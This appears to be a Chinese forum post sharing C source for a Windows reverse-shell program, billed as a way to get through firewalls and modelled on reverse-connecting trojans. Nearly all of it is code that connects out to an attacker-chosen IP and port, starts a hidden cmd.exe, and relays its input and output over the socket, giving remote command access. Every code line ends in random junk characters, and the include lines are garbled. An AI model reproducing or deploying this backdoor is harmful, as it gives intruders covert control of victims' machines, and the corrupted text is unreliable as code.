这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "Fu*F/KW
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/* ============================== :Uf\r
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Rebound port in Windows NT \4`~J@5Y
By wind,2006/7 u+GtH;<;
===============================*/ ;5A
#include < 6[XE
#include l Ud/^u`
Ms. 1RCup
#pragma comment(lib,"wsock32.lib") `)FSJV1
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void OutputShell(); HgP9evz,0
SOCKET sClient; oq4*m[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vcnUb$%
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void main(int argc,char **argv) pzP~,cdf
{ iXt >!f*
WSADATA stWsaData; gf^"sfNk
int nRet; NZSP*# !B
SOCKADDR_IN stSaiClient,stSaiServer; lz?F ,].
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if(argc != 3) ^ 9
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{ *4;MO2g
printf("Useage:\n\rRebound DestIP DestPort\n"); VQO6!ToKY
return; iw <2|]>l
} PK@hf[YHe
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^<#08L;
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0!YB.=\{_q
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stSaiClient.sin_family = AF_INET; G/Nb@pAy[
stSaiClient.sin_port = htons(0); pmR6(/B#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); rYbb&z!u
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p=vu<xXtD
{ FWv-_
printf("Bind Socket Failed!\n"); )>$@cH
return; <o8j+G)K#
} ^b=9{.5
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stSaiServer.sin_family = AF_INET; h[M~cZ{
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [!B($c|\
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); st"uD\L1p:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) )54;YK
{ y| *X
printf("Connect Error!"); S+G!o]&2
return; C~F do0D
} p}%T`e=Z9
OutputShell(); 01VEz
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} hiWfVz{~
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void OutputShell() ]p/f@j?LU
{ (5y+g?9d;
char szBuff[1024]; |[/[*hDZ9
SECURITY_ATTRIBUTES stSecurityAttributes; Z&gM7Zo8
OSVERSIONINFO stOsversionInfo; L|Zja*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,*SoV~
STARTUPINFO stStartupInfo; [hE0 9W
char *szShell; kGsd3t!'
PROCESS_INFORMATION stProcessInformation; ,C%fA>?UF8
unsigned long lBytesRead; hm"i\JZ3N
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [m3[plwe
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u-g2*(ZT
stSecurityAttributes.lpSecurityDescriptor = 0; O`_!G`E
stSecurityAttributes.bInheritHandle = TRUE; zWYm*c"n\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T2-n;8t
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t{n|!T&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .}W#YN$
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JX%B_eUlAs
stStartupInfo.wShowWindow = SW_HIDE; ,;LxFS5\
stStartupInfo.hStdInput = hReadPipe; t .*z)N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x9Veg4Z7
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GetVersionEx(&stOsversionInfo); 42X N*br
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switch(stOsversionInfo.dwPlatformId) \~|+*^e)
{ 7p'L(dq
case 1: bi`{ k\3A
szShell = "command.com"; |F_Z
break; \ 8v{9Yb
default: &VG|*&M
szShell = "cmd.exe"; *"4d6
break; PMER~}^
} Y0`@$d&n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GRV#f06
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send(sClient,szMsg,77,0); nX,2jT;@L
while(1) =WFn+#&^
{ 9aYDi)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tHlKo0S$0
if(lBytesRead) 4 [2^#t[
{ bqjj6bf'o
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); sHC4iMIw
send(sClient,szBuff,lBytesRead,0); P70\ |M0~y
} DA'A-C2
else f>$Ld1
{ ;Ml??B]C
lBytesRead=recv(sClient,szBuff,1024,0); M{ #
if(lBytesRead<=0) break; !Z+4FwF
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {k.Dy92
} >iefEv\
} 1T(:bM_t`7
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return; 7O6VnKl
}